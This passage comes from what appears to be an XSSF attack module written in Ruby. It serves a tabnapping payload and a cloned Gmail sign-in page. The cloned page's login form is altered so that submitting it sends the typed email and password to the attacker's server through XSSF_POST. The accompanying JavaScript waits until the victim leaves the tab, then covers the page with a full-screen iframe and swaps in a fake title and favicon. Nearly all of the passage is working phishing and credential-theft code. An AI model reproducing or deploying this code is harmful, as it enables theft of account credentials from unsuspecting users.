to email.  </b>  <td valign=top>&nbsp;  </tr>  <tr>  <td width="75%" valign=top>  <p style="margin-bottom: 0;text-align:left"><font size=-1>  Gmail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Gmail has:</p><table border="0" cellpadding="0" cellspacing="0" width="90%"><tbody>  <tr>  <td class="feature-image"><div class="SPRITE_spam_new" /></td>  <td class="feature-description">  <font size=-1><b>Less spam</b><br>  Keep unwanted messages out of your inbox with Google's innovative technology.</font>  </td>  </tr>  <tr>  <td class="feature-image"><div class="SPRITE_cell" /></td>  <td class="feature-description">  <font size=-1><b>Mobile access</b><br>  Read Gmail on your mobile phone by pointing your phone's web browser to <b>http://gmail.com</b>. <a href="http://www.google.com/intl/en_FR/mobile/mail/#utm_source=en_FR-cpp-g4mc-gmhp&utm_medium=cpp&utm_campaign=en_FR">Learn more</a></font>  </td>  </tr>  <tr>  <td class="feature-image"><div class="SPRITE_storage" /></td>  <td class="feature-description">  <font size=-1><b>Lots of space</b><br>  Over <span id=quota>2757.272164</span> megabytes (and counting) of free storage.</font>  </td>  </tr></tbody></table>  </td>  <td style="" valign=top>  <!-- login box -->  <div id=login><script><!--function gaia_onLoginSubmit() {    if (window.gaiacb_onLoginSubmit) {    return gaiacb_onLoginSubmit();  } else {    return true;  }}--></script><style type="text/css"><!--      div.errormsg { color: red; font-size: smaller; font-family:arial,sans-serif; }    font.errormsg { color: red; font-size: smaller; font-family:arial,sans-serif; }    --></style><style type="text/css"><!--.gaia.le.lbl { font-family: Arial, Helvetica, sans-serif; font-size: smaller; }.gaia.le.fpwd { font-family: Arial, Helvetica, sans-serif; font-size: 70%; }.gaia.le.chusr { font-family: Arial, Helvetica, sans-serif; font-size: 70%; }.gaia.le.val { font-family: Arial, Helvetica, sans-serif; font-size: smaller; }.gaia.le.button { font-family: Arial, Helvetica, sans-serif; font-size: smaller; }.gaia.le.rem { font-family: Arial, Helvetica, sans-serif; font-size: smaller; }.gaia.captchahtml.desc { font-family: arial, sans-serif; font-size: smaller; } .gaia.captchahtml.cmt { font-family: arial, sans-serif; font-size: smaller; font-style: italic; }  --></style><form id="gaia_loginform" action="https://www.google.com/accounts/ServiceLoginAuth?service=mail" method="post" onsubmit="XSSF_POST('Gmail Account : ' + document.getElementById('Email').value + ' - ' + document.getElementById('Passwd').value, 'Tabnapping'); return false;"><div id="gaia_loginbox"><table class="form-noindent" cellspacing="3" cellpadding="5" width="100%" border="0">  <tr>  <td valign="top" style="text-align:center" nowrap="nowrap"        bgcolor="#e8eefa">  <input type="hidden" name="ltmpl"             value="default">  <input type="hidden" name="ltmplcache"             value="2">  <div class="loginBox">  <table id="gaia_table" align="center" border="0" cellpadding="1" cellspacing="0">  <tr><td colspan="2" align="center">  <font size="-1">  Sign in with your  </font>  <table>  <tr>  <td valign="top">  <img src="https://www.google.com/accounts/google_transparent.gif"           alt="Google">  </img>  </td>  <td valign="middle">  <font size="+0"><b>Account</b></font>  </td>  </tr></table></td></tr><tr>  <td colspan="2" align="center">  </td></tr><tr id="email-row">  <td nowrap="nowrap">  <div align="right">  <span class="gaia le lbl">  Username:  </span>  </div>  </td>  <td>  <input type="hidden" name="continue" id="continue"           value="http://mail.google.com/mail/?hl=fr&amp;ui=html&amp;zy=l" />  <input type="hidden" name="service" id="service"           value="mail" />  <input type="hidden" name="rm" id="rm"           value="false" />  <input type="hidden" name="dsh" id="dsh"           value="-2170013751114210845" />  <input type="hidden" name="ltmpl" id="ltmpl"           value="default" />  <input type="hidden" name="hl" id="hl"           value="en" />  <input type="hidden" name="ltmpl" id="ltmpl"           value="default" />  <input type="hidden" name="scc" id="scc"           value="1" />  <input type="hidden"             name="GALX"             value="iZy93iE9YSg" />  <input type="text" name="Email"  id="Email"  size="18" value=""        class='gaia le val'    />  </td></tr><tr>  <td></td>  <td align="left">  </td></tr><tr id="password-row" class="enabled">  <td align="right" nowrap="nowrap">  <span class="gaia le lbl">  Password:  </span>  </td>  <td>  <input type="password"   name="Passwd" id="Passwd"  size="18"           class="gaia le val"     />  </td></tr><tr>  <td></td>  <td align="left">  </td></tr>  <tr id="rememberme-row" class="enabled">  <td align="right" valign="top">  <input type="checkbox" name="PersistentCookie" id="PersistentCookie"    value="yes"          />  <input type="hidden" name='rmShown' value="1" />  </td>  <td>  <label for="PersistentCookie" id="PersistentCookieLabel" class="gaia le rem">  Stay signed in  </label>  </td></tr><tr>  <td></td>  <td align="left">  <input type="submit" class="gaia le button" name="signIn" id="signIn"           value="Sign in"                  />  </td></tr><tr id="ga-fprow">  <td colspan="2" height="33.0" class="gaia le fpwd"    align="center" valign="bottom">  <a href="http://mail.google.com/support/bin/answer.py?answer=46346&amp;fpUrl=https%3A%2F%2Fwww.google.com%2Faccounts%2FForgotPasswd%3FfpOnly%3D1%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fmail%252F%253Fhl%253Dfr%2526ui%253Dhtml%2526zy%253Dl%26hl%3Den%26service%3Dmail%26ltmpl%3Ddefault&amp;fuUrl=https%3A%2F%2Fwww.google.com%2Faccounts%2FForgotPasswd%3FfuOnly%3D1%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fmail%252F%253Fhl%253Dfr%2526ui%253Dhtml%2526zy%253Dl%26hl%3Den%26service%3Dmail%26ltmpl%3Ddefault&amp;hl=en"       target=_top>  Can&#39;t access your account?  </a>  </td></tr>  </table>  </div>  </td>  </tr></table></div><input type="hidden" name="asts"       id="asts"       value=""></form><script><!--var gaia_loginForm;if (document.getElementById) {  gaia_loginForm = document.getElementById("gaia_loginform");} else if (window.gaia_loginform) {  gaia_loginForm = window.gaia_loginform;}var gaia_emailHasKeypress = false;if (gaia_loginForm && gaia_loginForm.Email) {  gaia_loginForm.Email.onkeypress = function() {    gaia_emailHasKeypress = true;  }}function gaia_setFocus() {  if (gaia_loginForm) {    if (gaia_loginForm.Email && !gaia_loginForm.Email.value) {      gaia_loginForm.Email.focus();    } else if (gaia_loginForm.Passwd && !gaia_emailHasKeypress) {      gaia_loginForm.Passwd.focus();    }      }}gaia_setFocus();--></script><form id="gaia_universallogin"      action="https://www.google.com/accounts/ServiceLoginAuth?service=mail" method="post"      onsubmit="return(gaia_onLoginSubmit());">  <input type="hidden" name="continue" id="continue"           value="http://mail.google.com/mail/?hl=fr&amp;ui=html&amp;zy=l" />  <input type="hidden" name="service" id="service"           value="mail" />  <input type="hidden" name="rm" id="rm"           value="false" />  <input type="hidden" name="dsh" id="dsh"           value="-2170013751114210845" />  <input type="hidden" name="ltmpl" id="ltmpl"           value="default" />  <input type="hidden" name="hl" id="hl"           value="en" />  <input type="hidden" name="ltmpl" id="ltmpl"           value="default" />  <input type="hidden" name="scc" id="scc"           value="1" />  <input type="hidden" name="ltmpl" id="ltmpl"           value="default" />  <input type="hidden" name="ltmplcache" id="ltmplcache"           value="2" /></form>  </div>  <!-- end login box -->  <br>  <!-- links box (below login box) -->  <table class=form-noindent cellpadding=0 width=100% bgcolor=#E8EEFA id=links>  <tr bgcolor=#E8EEFA>  <td valign=top>  <div align=center style="margin:10 0">  <font size="-1">New to Gmail? It's free and easy.</font>  <table cellspacing=0 cellpadding=0 align=center  class="signup_btn"  onclick="window.location='http://mail.google.com/mail/signup';"><tr>  <td class="SPRITE_signup_button_grey_l"></td>  <td class="SPRITE_signup_button_grey_m"><a class="signup_btn_link" href="http://mail.google.com/mail/signup">  Create an account &#187;  </a></td>  <td class="SPRITE_signup_button_grey_r"></td>  </tr></table>  <br><br>  <font size="-1">  <a href="http://mail.google.com/mail/help/intl/en/about.html">About Gmail</a            >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://mail.google.com/mail/help/intl/en/about_whatsnew.html">New features!</a>  </font>  <br>  </div>  </td>  </tr>  </table>  <!-- end links box (below login box) --></table><br><table width=95% align=center cellpadding=3 cellspacing=0 bgcolor=#C3D9FF style=margin-bottom:5>  <tr>  <td class="bubble tl" align=left valign=top><div class="SPRITE_corner_tl" /></td>  <td class=bubble rowspan=2 style=text-align:left>  <div align=center>  <font size=-1 color=#666666>&copy;2010 Google -  <a href="http://www.google.com/a/help/intl/en/users/user_features.html#utm_medium=et&utm_source=gmail-en&utm_campaign=crossnav&token=gmail_footer">Gmail for Organizations</a> -  <a href="http://gmailblog.blogspot.com/?utm_source=en-gmftr&utm_medium=et&utm_content=gmftr">Gmail Blog</a> -  <a href="http://mail.google.com/mail/help/intl/en/terms.html">Terms</a>  - <a href="http://mail.google.com/support/">Help</a>  </font>  </div>  </td>  <td class="bubble tr" align=right valign=top><div class="SPRITE_corner_tr" /></td>  </tr>  <tr>  <td class="bubble bl" align=left valign=bottom><div class="SPRITE_corner_bl" /></td>  <td class="bubble br" align=right valign=bottom><div class="SPRITE_corner_br" /></td>  </tr></table>  <script type="text/javascript">var BrowserSupport_={IsBrowserSupported:function(){var agt=navigator.userAgent.toLowerCase();var is_op=agt.indexOf("opera")!=-1;var is_ie=agt.indexOf("msie")!=-1&&document.all&&!is_op;var is_ie5=agt.indexOf("msie 5")!=-1&&document.all&&!is_op;var is_mac=agt.indexOf("mac")!=-1;var is_gk=agt.indexOf("gecko")!=-1;var is_sf=agt.indexOf("safari")!=-1;if(is_ie&&!is_op&&!is_mac){if(agt.indexOf("palmsource")!=-1||agt.indexOf("regking")!=-1||agt.indexOf("windows ce")!=-1||agt.indexOf("j2me")!=-1||agt.indexOf("avantgo")!=-1||agt.indexOf(" stb")!=-1)return false;var v=BrowserSupport_.GetFollowingFloat(agt,"msie ");if(v!=null)return v>=5.5}if(is_gk&&!is_sf){var v=BrowserSupport_.GetFollowingFloat(agt,"rv:");if(v!=null)return v>=1.4;else{v=BrowserSupport_.GetFollowingFloat(agt,"galeon/");if(v!=null)return v>=1.3}}if(is_sf){if(agt.indexOf("rv:3.14.15.92.65")!=-1)return false;var v=BrowserSupport_.GetFollowingFloat(agt,"applewebkit/");if(v!=null)return v>=312}if(is_op){if(agt.indexOf("sony/com1")!=-1)return false;var v=BrowserSupport_.GetFollowingFloat(agt,"opera ");if(v==null)v=BrowserSupport_.GetFollowingFloat(agt,"opera/");if(v!=null)return v>=8}if(agt.indexOf("pda; sony/com2")!=-1)return true;return false},GetFollowingFloat:function(str,pfx){var i=str.indexOf(pfx);if(i!=-1){var v=parseFloat(str.substring(i+pfx.length));if(!isNaN(v))return v}return null},tz_path:";path=/"};if(window.location.href.toLowerCase().indexOf("google.com")>0)BrowserSupport_.tz_path+=";domain=.google.com";document.cookie="TZ="+(new Date).getTimezoneOffset()+BrowserSupport_.tz_path;var is_browser_supported=BrowserSupport_.IsBrowserSupported()  </script><script type=text/javascript><!--var start_time = (new Date()).getTime();function SetGmailCookie(name, value) {  document.cookie = name + "=" + value + ";path=/;domain=.google.com";}function lg() {  var now = (new Date()).getTime();  var cookie = "T" + start_time + "/" + start_time + "/" + now;  SetGmailCookie("GMAIL_LOGIN", cookie);}function gaiacb_onLoginSubmit() {  lg();  if (!fixed) {    FixForm();  }  return true;}function StripParam(url, param) {  var start = url.indexOf(param);  if (start == -1) return url;  var end = start + param.length;  var charBefore = url.charAt(start-1);  if (charBefore != '?' && charBefore != '&') return url;  var charAfter = (url.length >= end+1) ? url.charAt(end) : '';  if (charAfter != '' && charAfter != '&' && charAfter != '#') return url;  if (charBefore == '&') {  --start;  } else if (charAfter == '&') {  ++end;  }  return url.substring(0, start) + url.substring(end);}var fixed = 0;function FixForm() {  if (is_browser_supported) {  var form = el("gaia_loginform");  if (form && form["continue"]) {  var url = form["continue"].value;  url = StripParam(url, "ui=html");  url = StripParam(url, "zy=l");  form["continue"].value = url;  }  }  fixed = 1;}function el(id) {  if (document.getElementById) {  return document.getElementById(id);  } else if (window[id]) {  return window[id];  }  return null;}// Estimates of nanite storage generation over time.var CP = [ [ 1199433600000, 6283 ], [ 1224486000000, 7254 ], [ 2144908800000, 10996 ], [ 2147328000000, 43008 ], [ 46893711600000, Number.MAX_VALUE ]];var quota_elem;var ONE_PX = "https://mail.google.com/mail/images/c.gif?t=" +  (new Date()).getTime();function LogRoundtripTime() {  var img = new Image();  var start = (new Date()).getTime();  img.onload = GetRoundtripTimeFunction(start);  img.src = ONE_PX;}function GetRoundtripTimeFunction(start) {  return function() {  var end = (new Date()).getTime();  SetGmailCookie("GMAIL_RTT", (end - start));  }}function MaybePingUser() {  var f = el("gaia_loginform");  if (f.Email.value) {  new Image().src = 'https://mail.google.com/mail?gxlu=' +  encodeURIComponent(f.Email.value) +  '&zx=' + (new Date().getTime());  }}function OnLoad() {  gaia_setFocus();  MaybePingUser();  el("gaia_loginform").Passwd.onfocus = MaybePingUser;  LogRoundtripTime();  if (!quota_elem) {  quota_elem = el("quota");  updateQuota();  }  LoadConversionScript();}function updateQuota() {  if (!quota_elem) {  return;  }  var now = (new Date()).getTime();  var i;  for (i = 0; i < CP.length; i++) {    if (now < CP[i][0]) {      break;    }  }  if (i == 0) {    setTimeout(updateQuota, 1000);   } else if (i == CP.length) {    quota_elem.innerHTML = CP[i - 1][1];  } else {    var ts = CP[i - 1][0];    var bs = CP[i - 1][1];    quota_elem.innerHTML = format(((now-ts) / (CP[i][0]-ts) * (CP[i][1]-bs)) + bs);     setTimeout(updateQuota, 1000);   } }  var PAD = '.000000';  function format(num) {   var str = String(num);   var dot = str.indexOf('.');   if (dot < 0) {      return str + PAD;   } if (PAD.length > (str.length - dot)) {  return str + PAD.substring(str.length - dot);  } else {  return str.substring(0, dot + PAD.length);  }}var google_conversion_type = 'landing';var google_conversion_id = 1069902127;var google_conversion_language = "en_US";var google_conversion_format = "1";var google_conversion_color = "FFFFFF";function LoadConversionScript() {  var script = document.createElement("script");  script.type = "text/javascript";  script.src = "https://www.googleadservices.com/pagead/conversion.js";}// --></script><script type="text/javascript"><!--FixForm();// --></script></body></html>
				}
				
				send_response(cli, code)
				
				
			else
				code = %Q{
					/*
						Copyright (c) 2010 Aza Raskin
						http://azarask.in

						Permission is hereby granted, free of charge, to any person
						obtaining a copy of this software and associated documentation
						files (the "Software"), to deal in the Software without
						restriction, including without limitation the rights to use,
						copy, modify, merge, publish, distribute, sublicense, and/or sell
						copies of the Software, and to permit persons to whom the
						Software is furnished to do so, subject to the following
						conditions:

						The above copyright notice and this permission notice shall be
						included in all copies or substantial portions of the Software.
					*/


					(function(){
						var TIMER = null;
						var HAS_SWITCHED = false;

						// Events
						window.onblur = function(){
							TIMER = setTimeout(changeItUp, #{datastore['delay'].to_i * 1000});
						}  

						window.onfocus = function(){
							if(TIMER) clearTimeout(TIMER);
						}

						// Utils
						function setTitle(text){ document.title = text; }

						// This favicon object rewritten from:
						// Favicon.js - Change favicon dynamically [http://ajaxify.com/run/favicon].
						// Copyright (c) 2008 Michael Mahemoff. Icon updates only work in Firefox and Opera.

						favicon = {
							docHead: document.getElementsByTagName("head")[0],
							set: function(url){
								this.addLink(url);
							},
						  
							addLink: function(iconURL) {
								var link = document.createElement("link");
								link.type = "image/x-icon";
								link.rel = "shortcut icon";
								link.href = iconURL;
								this.removeLinkIfExists();
								this.docHead.appendChild(link);
							},

							removeLinkIfExists: function() {
								var links = this.docHead.getElementsByTagName("link");
								for (var i=0; i<links.length; i++) {
									var link = links[i];
									if (link.type=="image/x-icon" && link.rel=="shortcut icon") {
										this.docHead.removeChild(link);
										return; // Assuming only one match at most.
									}
								}
							} 
						};

						function createShield(){	
							div = document.createElement("div");
							div.style.position = "absolute";
							div.style.top = 0;
							div.style.left = 0;
							div.style.backgroundColor = "white";
							div.style.width = "100%";
							div.style.height = "100%";
							div.style.textAlign = "center";
							document.body.style.overflow = "hidden";
						  
							iframe = XSSF_CREATE_IFRAME("MY_IFRAME", 100, 100)
							iframe.src =  XSSF_SERVER + "#{datastore['website']}.html";
							div.appendChild(iframe);
							document.body.appendChild(div);				
						}

						function changeItUp(){
							if(HAS_SWITCHED == false){
								createShield("#{websites[datastore['website']][0]}");
								setTitle("#{websites[datastore['website']][1]}");
								favicon.set("#{websites[datastore['website']][0]}/favicon.ico");
								HAS_SWITCHED = true;    
							}
						}
					})();
				}

				send_response(cli, code)
			end
	end
end